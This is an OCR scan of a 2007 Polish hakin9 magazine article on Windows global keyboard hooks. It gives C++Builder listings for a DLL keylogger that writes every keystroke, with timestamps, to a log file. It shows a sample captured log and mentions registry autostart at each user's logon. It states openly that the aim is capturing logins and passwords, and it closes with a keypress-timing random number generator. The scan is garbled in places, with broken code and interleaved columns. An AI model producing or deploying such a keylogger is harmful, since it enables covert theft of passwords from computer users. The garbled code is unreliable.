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Hak na Windows

Jacek Matulewski | |

stopien trudnosci

zapisujgce wszystkie nacisniete przez

uzytkownikow komputera klawisze? W
systemie Windows ich zadaniem jest zazwy-
czaj monitorowanie komunikatéw zwigzanych
z klawiaturg. Co to znaczy? Komunikaty (ang.
windows messages) tworzg niejako uktad ner-
wowy systemu Windows, taczacy go z urucho-
mionymi w nim aplikacjami. To wiasnie komu-
nikaty przekazujg aplikacjom informacje o tym,
ze zostata ona kliknieta myszkg lub nacisniety
zostat jakis klawisz, przez co od aplikacji ocze-
kiwana jest w zwigzku z tym jakas reakcja. To,
co jest dla nas naturalne, np. klikniecie przyci-
sku widocznego na oknie aplikacji i co uzytkow-
nikowi komputera wydaje sie odbywac jedynie
w konteks$cie samej aplikacji, w istocie angazu-
je system Windows — w koncu myszka i klawia-
tura nie sg podtaczone do aplikacji, a do kom-
putera zarzgdzanego przez Windows, to Win-
dows witasnie, a nie sama aplikacja, moze od-
czyta¢ stan tych urzadzen. Aplikacja odcieta
od strumienia komunikatow staje sie gtucha i
niema (aby taki stan uzyskac wystarczy nadpi-
sa¢ metode wndrroc okna aplikacji, nie wywotu-
jac z niej metody nadpisywanej, i pozostawia-
jac ja zupetnie pustg). W szczegdlnosci aplika-
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4 Imie domowego zwierzaka i biezacy rok to najczesciej
wykorzystywany schemat haset. Jednak, gdy hasto jest tak silne,
ze nie mozna go wykry¢ typowymi metodami, istnieje grozba,
ze zostanie ono podstuchane. Nie chodzi o przystuchiwanie sie
osobom mamroczacym podczas pisania, lecz o podstuchiwanie
klawiatury przez programy uruchomione w Windows.

cja przestaje za$ reagowac na polecenia od-
Swiezenia okna, co objawia sie charaktery-
stycznag ,biatg plamg” w miejscu jej interfejsu.
A w jaki sposdb mozliwe jest monitorowa-
nie przeptywu komunikatow? System Windows
udostepnia mechanizm hakéw (ang. hooks). Po-
zwala on skojarzy¢ okreslony w haku typ komu-
nikatow ze zdefiniowang przez uzytkownika me-
toda. Haki moga by¢ ustawiane badz w kontek-
Scie konkretnej aplikaciji, konkretniej watku, badz

e
Z artykutlu dowiesz sie...

* W jaki sposéb korzysta¢ z mechanizmu hakéw
systemu Microsoft Windows, w szczegodlnosci w
jaki sposéb wykorzysta¢ go do podstuchiwania
klawiatury (np. w celu zdobycia loginéw i haset)

* pomyst na generator liczb losowych oparty na
monitorowaniu korzystania przez uzytkownika
z klawiatury.

Powinienes wiedzieé...

* wymagana jest ogdina orientacja w korzystaniu
z funkcji WIinAPI oraz umiejetno$¢ projektowa-
nia bibliotek DLL.
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globalnie. W tym drugim przypadku
funkcja wykonywana bedzie po wy-
kryciu kazdego komunikatu monitoro-
wanego typu w catej ,sieci nerwowej”
systemu i tylko ten rodzaj haka be-
dzie nas teraz interesowac. Haki glo-
balne (ang. global hooks), a doktad-

~N

W sieci

* http://www.borland.pl/download/
personal.shtml — lista darmowych
wersji narzedzi deweloperskich fir-
my Borland

*  http://msdn2.microsoft.com—doku-
mentacja WinAPI i platformy .NET.
Warto zaczaé¢ od wpisania w polu
search hasta hooks.

Dokumentacja funkcji zwrotnej Keybo-
ardProc dostepna jest w MSDN pod
adresem:

* http://msdn.microsoft.com/
library/en-us/winui/winui/
windowsuserinterface/
windowing/hooks/hookreference/
hookfunctions/keyboardproc.asp.
Te samg strone zobaczymy wpisu-
jac w Google hasta KeyboardProc
MSDN i klikajac pierwszy link.

Komunikacja miedzy
aplikacjami a systemem

Windows

Do komunikacji miedzy systemem, a
aplikacjg uzywa sie funkcji takze zwrot-
nych, czyli funkcji udostepnianych
przez aplikacje lub biblioteki DLL, kto-
rych nazwa i sygnatura sg z gory okre-
$lone i ktére wywotywane sa przez sys-
tem w $cisle okreslonych sytuacjach.
Takimi funkcjami sg np. WinMain lub
DlIMain (ewentualnie DIIEntryPoint)
uruchamiane w momencie uruchomie-
nia aplikacji lub zatadowania biblioteki
DLL do pamieci. Do komunikacji inicjo-
wanej przez system sg one uzywane
jednak stosunkowo rzadko. Natomiast
do komunikacji w odwrotnym kierunku,
tj. gdy jest ona inicjowana przez aplika-
cje, korzystanie z funkcji udostepnia-
nych przez systemowe biblioteki DLL
jest standardem. System udostepnia w
ten sposéb ogromny zbior funkgji, ktore
tworzg WInAPI {j. interfejs programisty
aplikacji Windows.

niej ich funkcje zahaczone (ang. hook
procedure; nie znajduje lepszego ttu-
maczenia) musza by¢ umieszczone w
bibliotece DLL, ktéra bedzie fadowa-
na do przestrzeni adresowej kazdej
aplikacji, ktéra otrzyma monitorowa-
ny typ komunikatu. W ten sposéb do-
wolna aplikacja bedzie mogta urucho-
mi¢ przygotowang przez nas funkcje.
To wszystko brzmi moze dos¢ zawile,
ale w praktyce nie okaze sie bardzo
trudne do realizacji. Wydaje mi sie, ze
nawet niezbyt zaawansowany progra-
mista znajgcy chocby pobieznie bi-
blioteke WIinAPI i majacy doswiad-
czenie z tworzeniem bibliotek DLL
powinien sobie z hakami poradzi¢.

Stawianie

hakéw w praktyce

Najlepiej pozna¢ wroga studiujac je-
go metody. Dlatego przygotujemy
prosty program podstuchujacy na-
cisniete klawisze. Program napisze-
my w C++Builderze 6 (ze wzgledu na
darmowa wersje Personal dostepng
na stronie http://www.borland.pl/
download/personal.shtml), ale naj-
wazniejsze fragmenty kodu mozna
bez trudu przenie$¢ do Visual C++
2005 lub do innego $rodowiska pro-
gramistycznego, nie tylko dla C++.
W szczegodlnosci osoby programujg-
ce w Delphi z tatwoscig mogag prze-
ttumaczyé ponizsze przyktady na
Object Pascal. To samo dotyczy Vi-
sual Basica.

Zacznijmy od biblioteki DLL za-
wierajgcej funkcje zahaczong. Dla
wygody do tej samej biblioteki doda-
my takze funkcje ustawiajace i usu-
wajgce hak. W srodowisku C++Bu-
ilder, z menu File/New/Other... wy-

bieramy pozycje DLL Wizard i klika-
my OK. Pojawi sie okno widoczne na
Rysunku 1. Zgodnie ze wzorem na
rysunku nalezy ustawi¢ widoczne na
nim opcje. Stworzymy w ten sposob
prosty modut bez pliku nagtéwkowe-
go, w ktérym poza sporej wielkosci
komentarzem jest tylko funkcja DII-
Main. Zapiszmy caty projekt uzywa-
jac np. nazwy KeyHook dla pliku pro-
jektu (tj. pliku z rozszerzeniem .bpr).

Zacznijmy od zapisania uchwytu
do biezacej biblioteki DLL w zmien-
nej globalnej handleDLL. Uchwyt ten
mozna odczytac ze zmiennej global-
nej Hinstance zdefiniowanej w mo-
dule Sysinit (aby byta dostepna na-
lezy zaimportowaé nagtéowek Sysl-
nit.hpp), ale jest to rozwigzanie cha-
rakterystyczne dla C++Buildera.
Dlatego my odczytamy go z pierw-
szego argumentu funkcji DIIMain.
W tym celu modyfikujemy te funkcje,
jak na Listingu 1.

Nastepnie przejdzmy do zdefinio-
wania funkcji SetHook, ktorej zada-
niem, jak wskazuje jej nazwa, bedzie
ustawienie haka. | tu wazna uwaga.
Nie nalezy jej wywotania umieszczac
w funkcji DIIMain, co moze wydawaé
sie dobrym rozwigzaniem automaty-
zujacym zaktadanie haka. To jest zte
miejsce, bo biblioteka DLL zawierac
bedzie takze funkcje zahaczong, co
oznacza, ze biblioteka bedzie tado-
wana do przestrzeni adresowej kaz-
dej aplikacji, ktéra otrzyma komunikat
zwigzany z nacisnieciem klawiszy. Za
kazdym razem wywotywana bedzie
oczywiscie jej funkcja DIIMain.

Ustawienie haka realizowane jest
przez wywotanie funkcji WinAPI Se-
tWindowsHooKkEXx, ktorej pierwszym

Source Type
L

o C++

DLL Wizard il

[ HMiseNeh
| hee Gl

[v WC++ Style DLL

Ok,

Cancel Help ‘

Rysunek 1. Ustawienia w kreatorze biblioteki DLL
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argumentem jest stata identyfikujaca
typ interesujacych nas komunikatow,
w naszym przypadku bedzie to sta-
ta wa _xeveoarp, drugim jest wskaz-
nik do funkcji zahaczonej, ktoérg be-
dziemy musieli jeszcze zdefiniowag,
natomiast trzeci wskazuje uchwyt bi-
blioteki, w ktérej funkcja zahaczona
jest umieszczona. W naszym przy-
padku, w ktérym funkcja ustawiajgca
hak i funkcja zahaczona sg w tej sa-
mej bibliotece umiescimy w trzecim
argumencie uchwyt do biezacej bi-
blioteki.

Na Listingu 2. widzimy, ze zade-
klarowana zostata zmienna globalna
0 Nazwie handleHook, do ktorej w me-
todzie SetHook zapisaliSmy uchwyt
ustawionego haka. Po wywotaniu
funkcji SetWindowsHookEXx informu-
jemy uzytkownika o powodzeniu lub
niepowodzeniu ustawienia haka. Ja-
ko drugi argument funkcji SetWin-
dowsHookEx podalismy wskaznik
do funkcji KeyboardHookProc. Szko-
put w tym, Zze ona jeszcze nie istnie-
je. Ale nie wszystko na raz.

Dla porzadku zdefiniujmy od razu
funkcje usuwajaca hak, przedstawio-
na na Listingu 3.

Podobnie, jak w przypadku po-
przedniej funkcji, takze tu napraw-
de wazna jest tylko pierwsza linia,
w ktérej wywotujemy funkcje WinAPI
UnhookWindowsHooKkEx. Pozosta-
te dwie stuzg do wyswietlania komu-
nikatu o powodzeniu operacji. Funk-
cja UnhookWindowsHookEx usu-
wa hak identyfikowany na podstawie
uchwytu, ktéry zapisaliSmy w zmien-
nej handleHook.

Obie funkcje nalezy wyekspor-
towa¢ z biblioteki DLL. W tym ce-
lu do ich sygnatur, przed wska-
zaniem zwracanego typu doda-
lismy modyfikatory extern  "c"
__declspec(dllexport).

Funkcja zahaczona

Wreszcie mozemy przejs¢ do zdefinio-
wania funkcji zahaczonej (zdecydowa-
lismy juz, ze bedzie nazywata sie Key-
boardHookProc), ktéra bedzie wywo-
tywana, kiedy tylko dotkniemy klawia-
tury. Jej sygnatura jest $cisle okreslo-
na w dokumentacji WinAPI (zobacz
ramka W sieci). Przyjmuje trzy argu-

hakin9 Nr 4/2007

menty: code, wParam i IParam. Pierw-
szy z nich informuje o tym, co funk-
cja zahaczona powinna zrobi¢ z prze-
chwyconym komunikatem. Jezeli jej
wartos¢ jest mniejsza od zera, komu-
nikat powinien zosta¢ zignorowany.
Mozliwe wartosci nieujemne to O (sta-
tasc  acrron) lub 3 (sc  woremovE). In-
formuja o wykryciu komunikatu (po-
réwnaj opis komunikatow i w MSDN),
aroznig sie tym, ze w drugim przypad-
ku komunikat nie zostat jeszcze zdje-
ty z kolejki komunikatéw. W przypadku
komunikatow zwigzanych z klawiaturg

wartos¢ code jest niemal zawsze row-
na 0. Wyjatkiem jest na przykiad Mi-
crosoft Word, ktéry w bardziej ztozo-
ny sposob obstuguje komunikaty kla-
wiaturowe. Pozostate dwa argumen-
ty funkcji zahaczonej przekazujg da-
ne komunikatu. Parametr wParam to
kod znaku nacisnietego klawisza, a w
bitach IParam umieszczone sg dodat-
kowe informacje o kontekscie, w jakim
nacisniety zostat klawisz. Szczegoty
omowie ponizej.

Funkcja zahaczona bedzie wywo-
tywana z poziomu aplikacji, do ktorej

/
Listing 1. Inicjacja biblioteki DLL

HINSTANCE handleDLL=NULL;

#pragma argsused

BOOL WINAPI D11Main (HINSTANCE hinstDLL,

if (fwdreason==DLL_PROCESS_ATTACH) handleDLL=hinstDLL;

DWORD fwdreason, LPVOID lpvReserved)

return 1;
\_ /
Listing 2. Ustawianie haka klawiaturowego
#include <SysInit.hpp>
HHOOK handleHook=NULL;
extern "C" _ declspec(dllexport) void _ stdcall SetHook(void)
handleHook=SetWindowsHookEx (WH_KEYBOARD, (HOOKPROC)KeyboardHookProc,HInst
ance,NULL) ;
if (handleHook ==NULL) MessageBox (NULL,"Zalozenie haka nie powiodilo
sie","KeyHook",MB OK | MB_ICONERROR); else Message
Box (NULL, "Zatozenie haka udalo sie","KeyHook",MB OK
MB_ICONINFORMATION) ;
\_ /

[13] {zwelnicny) (13} 1

111

10101000¢ 101

1

1

10101000¢ 101

1110000¢ 101

: [16] (zwelnieny) (16) 110
0 285418453: [13] (woisniety) (13) 111000000000000000001
0 285418515: [16] (wcisniety) (16) 1010100000000000000001
0 285418562: [13] (zwolniony) (13) 1 111
0 285419265: [16] (weisniety) (16) 1010100000000000000001
0 285419500: [16] (wcisniety) (16) 1 10101
0 285419562: [16] (wcidniety) (16) 1000000001010100000000000000001
0 285419625: [16] (wcisniety) (16) 1000000001010100000000000000001
0 285419703: [16] (wcidniety) (16) 1000000001010100000000000000001
0 285419750: H (weisniety) (72) 1000110000000000000001
0 285419828: H (zwolniony) (72) 11000000001000110000000000000001
0 285419937: A (wecisniety) (65) 111100000000000000001
0 285420046: A (zwolniony) (65) 11000000000111100000000000000001
0 285420265: [16] (zwolniony) (16) 110
0 285422140: K (weisniety) (75) 1001010000000000000001
0 285422218: K (zwelnieny) (75) 11000000001001010000000000000001
0 285422359: I (weidniety) (73) 101110000000000000001
0 285422453: I (zwelnieny) (73) 11000000000101110000000000000001
0 285422625: N (weisniety) (78) 1100010000000000000001
0 285422703: N (zwelnieny) (78) 11000000001100010000000000000001
0 285423234: 9 (weidniety) (57) 10100000000000000001
0 285423312: 9 (zwelnieny) (57) 11000000000010100000000000000001
0 285427531: [13] (woisniety) (13) 111000000000000000001
0 285427656: [13] {zwolnieny) (13) 1
0 285428062: [16] (woidniety) (16) 1010100000000000000001
0 285428281: [16] (wecidniety) (16) 1000000001010100000000000000001
0 285428355: [16] (woisniety) (16) 1 10101 1
0 285428421: [16] (weisniety) (16) 1000000001010100000000000000001
0 285428468: J (wcisniety) (74) 1001000000000000000001

Rysunek 3. Przyktadowy plik generowany w trakcie podstuchiwania

klawiatury

www.hakin9.org
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tadowana bedzie nasza biblioteka,
dlatego musi by¢é wyeksportowana
(stad modyfikatory w jej sygnaturze).
Aby unikngé¢ dodatkowego jej dekla-
rowania funkcje zahaczong proponu-
je wstawi¢ przed funkcje SetHook.

W momencie nacisniecia klawi-
sza na klawiaturze system generuje
dwa komunikaty. Pierwszy, gdy kla-
wisz zostanie wcisniety, drugi — gdy
jest zwalniany. Widoczny w funkgciji
warunek sprawdzajgcy wartos¢ 31-
go bitu parametru IParam powoduje,
ze w obu przypadkach generowany
jest inny dzwiek (stuzy do tego funk-
cja WinAPI Beep): wyzszy, gdy kla-
wisz jest naciskany, i nizszy, gdy jest
zwalniany. Po zareagowaniu na wy-
krycie komunikatu nalezy jeszcze wy-
wotac¢ funkcje CallNextHookEXx, ktora
powoduje wywotanie nastepnej funk-
cji zahaczonej zwigzanej z tym sa-
mym typem komunikatéw. Dzieki te-
mu sg one organizowane w swoiste
tancuchy, z ktérych system wywotuje
pierwszy element, a funkcje zahaczo-
ne dbajg o wywotanie nastepnych.

Na razie funkcja nie zapisuje
jeszcze kodow nacisnietych klawi-
szy, a jedynie uroczo sobie pobrze-
kuje. To pozwoli nam jednak upew-
ni¢ sie, ze jest ona rzeczywiscie wy-
konywana. Warto réwniez doda¢ do
DlIMain polecenia pokazujace komu-
nikaty informujace o zatadowaniu bi-
blioteki do pamieci i jej usunieciu.
Dzieki temu bedziemy mogli na wia-
she oczy przekonac sie, ze bibliote-
ka jest tadowana do przestrzeni ad-
resowej kazdej aplikacji, ktora otrzy-
ma komunikat o nacisnieciu klawisza
(tzn. ktéra bedzie aktywna, gdy be-
dziemy stuka¢ w klawiature).

Aby przetestowaé¢ dzialtanie naszego
haka bez pisania osobnej aplikacji
mozemy uzy¢ nastepujacej komendy
Windows:

rundl132 KeyHook,SetHook.

Po pojawieniu sie komunikatu ,Za-
tozenie haka udato sie” nie klikaj-
my OK, aby unikng¢ usunigcia pier-
wotnej instancji biblioteki DLL z pa-
mieci i tym samym usuniecia haka.
Wéwczas naciskajac klawisze po-
winnismy ustyszeé charakterystycz-

chiwanie klawiatury>rundl132 Projectl, ZalozHak

sluchiwanie klawiatury>_

Nasluch klawiatury 5'

\i‘) Zoldonia hake LdIC 8ig

Rysunek 2. Gdy na ekranie pojawi sie ten komunikat nie klikajmy OK.

Woéwczas ustyszymy dziatanie haka.

ne brzeczenie — znak, ze nasz hak
dziata. Zauwazmy, ze wykrywane sg
osobno naci$niecia wszystkich kla-
wiszy, w tym klawiszy funkcyjnych
oraz klawiszy Ctrl, Shift i Alt.

W dotaczonym do artykutu ko-
dzie umiescitem projekt aplikaciji,
ktéra pozwala na wygodniejszg kon-
trole tadowania biblioteki oraz zakta-
dania i zwalniania haka.

Podstuchiwanie
klawiatury

Teraz dopiero zrobimy sie niegrzecz-
ni. Zmodyfikujemy bowiem funkcje
zahaczong tak, zeby zapisywata do
pliku nacisniete klawisze. Nie bedzie
z tym Zzadnego ktopotu, bo jak juz
wiemy, informacja ta przekazywa-

na jest do funkcji w parametrze wPa-
ram. Wystarczy zapisac¢ ja do pliku.
Najprostsza realizacja tego pomystu
ukazana zostata na Litingu 5.
Zwréémy uwage, ze przechwyty-
wany komunikat nie przekazuje infor-
macji o tym, czy na monitorze poja-
wita sie mata, czy duza litera (ewen-
tualnie czy pojawita sie cyfra, czy je-
den ze znakow !, @, # itd.) Komunikat
przekazuje tylko takg informacje, ja-
ka jest odbierana od klawiatury. Naci-
Sniecie klawiszy Shift i Caps Lock jest
sygnalizowane osobnymi komunika-
tami i w funkcji zahaczonej ich na-
ci$niecie i zwolnienie trzeba $ledzi¢
samodzielnie. Podobnie jest z klawi-
szem Ctrl. Natomiast w parametrze
IParam przekazywana jest informa-

klawiaturowego

"C" _ declspec(dllexport
LRESULT CALLBACK KeyboardHookProc (

(code>=HC ACTION)

((lParam &
Beep (50, 50) ;

Listing 4. Funkcja uruchamiana w momencie wykrycia komunikatu

code, WPARAM wParam, LPARAM lParam)

0x80000000)==0) Beep(150,50);

CallNextHookEx (handleHook, code,wParam, l1Param) ;

"C" _ declspec(dllexport

MB_ ICONERROR) ;

Listing 3. Zdejmowanie haka klawiaturowego, lang=C++

__stdcall RemoveHook ( )

result=UnhookWindowsHookEx (handleHook) ;
(result) MessageBox (NULL,"Usuniecie haka udato sie", "KeyHook", MB OK
MB_TCONINFORMATION) ;
MessageBox (NULL, "Usunigcie haka nie powiodio sie", "KeyHook", MB OK

www.hakin9.org

hakin9 Nr 4/2007




Atak

cja o nacisnieciu klawisza Alt, ktérg
mozna odczytac z 29-go bita.

Oczywiscie prowadzenie prawdzi-
wego podstuchu wymagatoby zare-
jestrowania dodatkowych informaciji.
Warto zapisa¢ czas nacisniecia klawi-
sza (w ponizszej metodzie korzystam
z funkcji WinAPI GetTickCount zwra-
cajgcej ilos¢ milisekund od momentu
uruchomienia komputera), oczywiscie
kod klawisza, informacje o tym, czy
klawisz byt nacisniety, czy zwolnio-
ny oraz stan bitéw parametru IParam.
Realizuje to wersja funkcji zahaczonej
znajdujaca sie na Listingu 6.

W dotgczonym do artykutu ko-
dzie dostepna jest nieco rozszerzo-
na wersja metody KeyboardHook-
Proc, ktéra na biezgco wyswietla do-
datkowe informacje na ekranie.

Jak wida¢ ustawianie globalne-
go haka nie jest specjalnie trudne.
Moc tego mechanizmu jest przy tym
ogromna. Pozwala on ,aplikacjom
trzecim” na monitorowanie i kontrole
komunikacji miedzy systemem, a uru-
chomionymi w nim aplikacjami. Dzia-
tanie haka jest wprawdzie ograniczo-
ne do jednego uzytkownika, ale wy-
starczy umiesci¢ odpowiedni wpis w
rejestrze, aby aplikacja zaktadajaca
hak uruchamiana byta przy logowaniu
kazdego uzytkownika. Jeszcze wy-
godniejsze, i dajace dodatkowe moz-
liwosci, byloby przygotowanie ustugi
uruchamianej przy starcie systemu.

Haki nie stuzg

tylko do hackowania
Mechanizm hakéw nie zostat oczywi-
Scie zaprojektowany przez programi-
stow Microsoft po to, zeby mozliwe
byto szpiegowanie komputeréw kon-
trolowanych przez system Windows.
Ich zadania mogg byé¢ bardzo rézno-
rodne: od przygotowywania aplikacji
instruktazowych, w ktérych czynno-
sci uzytkownika moga by¢ $ledzone
przez program-nauczyciel, po progra-
mowanie debugeréw zintegrowanych
ze Srodowiskami programistycznymi.
Nawet przygotowane przez nas na
poczatku sygnalizowanie nacisniecia
klawisza dzwiekiem, to dobry przyktad
praktycznego wykorzystania haka. Ta-
kie potwierdzenie nacisniecia klawisza
moze by¢ bardzo pozyteczne chocéby
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w przypadku oséb niepetnosprawnych
korzystajgcych z komputera.
Natomiast osoby zajmujgce sie
bezpieczenstwem komputeréw moga
zainteresowac sie innym zastosowa-
niem haka klawiaturowego. Z punktu
widzenia kryptografii nieocenione by-
toby dostepne w systemach kompute-
rowych zrédio prawdziwych liczb lo-
sowych. Poniewaz jedynym kompo-
nentem tych systemoéw, ktéry nie jest
w petni deterministyczny, jest czio-
wiek, tylko uzytkownicy komputerow
moga stanowi¢ zrodto przypadkowo-
Sci. Skupmy sie na jednym z kanatéw,
ktérym uzytkownik ingeruje w prace

haka monitorowali naciskanie klawi-
szy, oczywiscie nie wybierane klawi-
sze, ale czas ich naciskania lub zwal-
niania? W koncu zaden cztowiek nie
jest w stanie kontrolowa¢ co do mili-
sekundy momentu, w ktérym naciska
klawisze. Mozemy wiec uznac, ostat-
nig cyfre ilosci milisekund od urucho-
mienia komputera do momentu naci-
$niecia klawisza jako zupetnie przy-
padkowa. | to nie pseudolosowa, a
rzeczywiscie losowg. Co zabawne
nie musimy wiele modyfikowa¢ na-
szej funkcji zahaczonej. Wystarczy
zmieni¢ parametr zapisywany do pli-
ku. Prezentuje to Listing 7.\

systemu, a mianowicie na klawiatu-
rze. A gdybySmy za pomoca naszego

Tym razem reagujemy tylko na te
komunikaty, w przypadku ktérych pa-
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Rysunek 4. llo$¢ losowych cyfr wygenerowanych przez powyzszy program
zalezy od stopnia uzycia klawiatury

/ N

Listing 5. W tej wersji rejestrowane sg tylko naci$niete klawisze, zadne
informacje dodatkowe. Utatwia to odczytanie tekstu z pliku, ale utrudnia
Sledzenie modyfikatorow

#include <fstream.h>

extern "C" _ declspec(dllexport)

LRESULT CALLBACK KeyboardHookProc (int code, WPARAM wParam, LPARAM 1lParam)

if (code>:HC7ACTION)

if ((lParam &

0x80000000) ==

ofstream txt ("C:\\keybug.log",ios::app);

if (wParam>32 && wParam<127) txt << (char)wParam;
else txt << "[" << wParam << "]";
txt.close();

return CallNextHookEx (handleHook,code,wParam, 1Param) ;

www.hakin9.org




Hak na Windows

rametr code jest rowny HC_ACTION.

Listing 6. Zapisywanie catego kontekstu naci$nietego klawisza, Unikamy w ten sposéb zapisywa-

lang=C++ nia liczby losowej w przypadku, gdy
extern "C" _ declspec (dllexport) komunikat nie zostat zdjety z kolejki
LRESULT CALLBACK KeyboardHookProc (int code,WPARAM wParam, LPARAM 1Param) — wywotanie funkcji jest wéwczas po-

wtornie generowane przez komputer
if (code>=HC_ACTION) po statym czasie (z taka sytuacjg ma-

S my do czynienia na przyktad w przy-
char kod[3]; itoal(c,kod,10); padku niektérych aplikacji np. kompo-
char lParam bits[32]; itoa(lParam,lParam bits,?2); nentéw Microsoft Ofﬂce)

//zapis do pliku Powyzsza funkcja spowoduje, ze
w pliku random.txt przyrasta¢ bedzie
zbiér losowych cyfr, za pomoca kt6-
rego mozna utworzy¢ losowe liczby.
W przypadku pojedynczego uzytkow-
if ((1Param & 0x20000000)==0x20000000) txt << "Alt+"; nika, szczegdlnie preferujgcego mysz-
txt << (charjwparam; ke, zbidr nie bedzie rost na tyle szyb-
ko, aby mégt by¢ profesjonalnie wyko-
rzystany, jezeli jednak hak ustawia-

ofstream txt ("C:\\keybug.log",ios::app);
txt << GetTickCount() << ": ";
if (wParam>32 && wParam<127)

else txt << "[" << wParam << "]";

txt << " " << (((LParam & 0x80000000)==0)?2" (wcisniety)":" (zwolniony)"); ny bedzie automatycznie po zalogo-
txt << " (" << wParam << ") " << lParam bits << "\n"; waniu kazdego uzytkownika w ser-
txt.close(); werze, a dodatkowo monitorowac be-

dziemy takze inne kanaty komunikac;ji
miedzy uzytkownikiem a komputerem,
w szczegolnosci ruch myszki, to efekt
moze by¢ catkiem zadowalajacy.

return CallNextHookEx (handleHook,code,wParam, lParam);

Listing 7. Prosty generator liczb losowych, lang=C++ Na CD dotaczonym do tego nu-
meru jest wersja kodu, ktéra nie tylko
extern "C" _ declspec(dllexport) zapisuje, ale réwniez odczytuje cyfry

LRESULT CALLBACK Keyb dHookP int de, WPARAM wP , LPAREM 1P . . . .
eyboardivoriroe (ant code fraran aran) z pliku. Realizuje to klasa QueueFile,

ktéra usuwa raz uzyte cyfry. Ponad-
to dostepna jest tam funkcja, ktéra z
if ((1Param & 0x80000000)==0) dziesieciu cyfr tworzy 32-bitowg do-
datnig liczbe catkowitg (unsigned int).
o Wspominajac o mozliwosciach
short digit=t-10*(t/10); . .
ofstream txt ("c:\\random.txt",ios::app); profeSJonaInego Wykorzystanla mu-
txt << digit; sze zastrzec sie, ze powyzsze roz-
txt.close(); wigzanie, cho¢ wyglada na takie, kt6-
re ,musi dziata¢” powinno by¢ uwaz-
nie przetestowane. Mozna to jed-
nak zrobi¢ dopiero majgc ogrom-
ny magazyn liczb losowych. Do te-
stow nalezy uzy¢ jednego z teste-

if (code==HC_ACTION)

long t=GetTickCount () ;

return CallNextHookEx (handleHook,code,wParam,lParam);

) réw generatoréw liczb pseudoloso-

O autorze... wych. Ustalong renome ma na przy-
Fizyk zajmujacy sie na co dzien optyka kwantowa i uktadami nieuporzadkowanymi na ktad Diehard Battery of Tests (http:
Wydziale Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikotaja Koperni- /lwww.stat.fsu.edu/pub/diehard/).
ka w Toruniu. Jego specjalnoscig sg symulacje ewolucji uktadow kwantowych oddzia- Jego autor przetestowal, poza duzg
tywujacych z silnym $wiattem lasera. liczba generatoréw liczb pseudolo-
Od 1998 interesuje sie¢ programowaniem dla systemu Windows, w szczegdlno- sowych, takze kilka generatorow liczb

$ci w srodowisku Borland C++Builder. Ostatnio zainteresowany platforma .NET i je- losowych korzystajacych z urzadzen

zykiem C#. Poza opublikowanymi u nas ksigzkami dotyczacymi programowania przy-
gotowat réwniez cykl artykutéw dla czasopisma "PC World Komputer" (od sierpnia
2005).

Wierny uzytkownik kupionego w potowie lat osiemdziesigtych "komputera osobi-
stego" ZX Spectrum 48k.

fizycznych. Zaden z tych ostatnich nie
zaliczyt sprawdzianu. Ciekaw jestem,
czy nasz ,ludzki generator” bedzie w
tym lepszy. O wynikach postaram sie
powiadomi¢ jak tylko uzbieram wy-
_/  starczajaca ilosc liczb. @

www.hakin9.org hakin9 Nr 4/2007




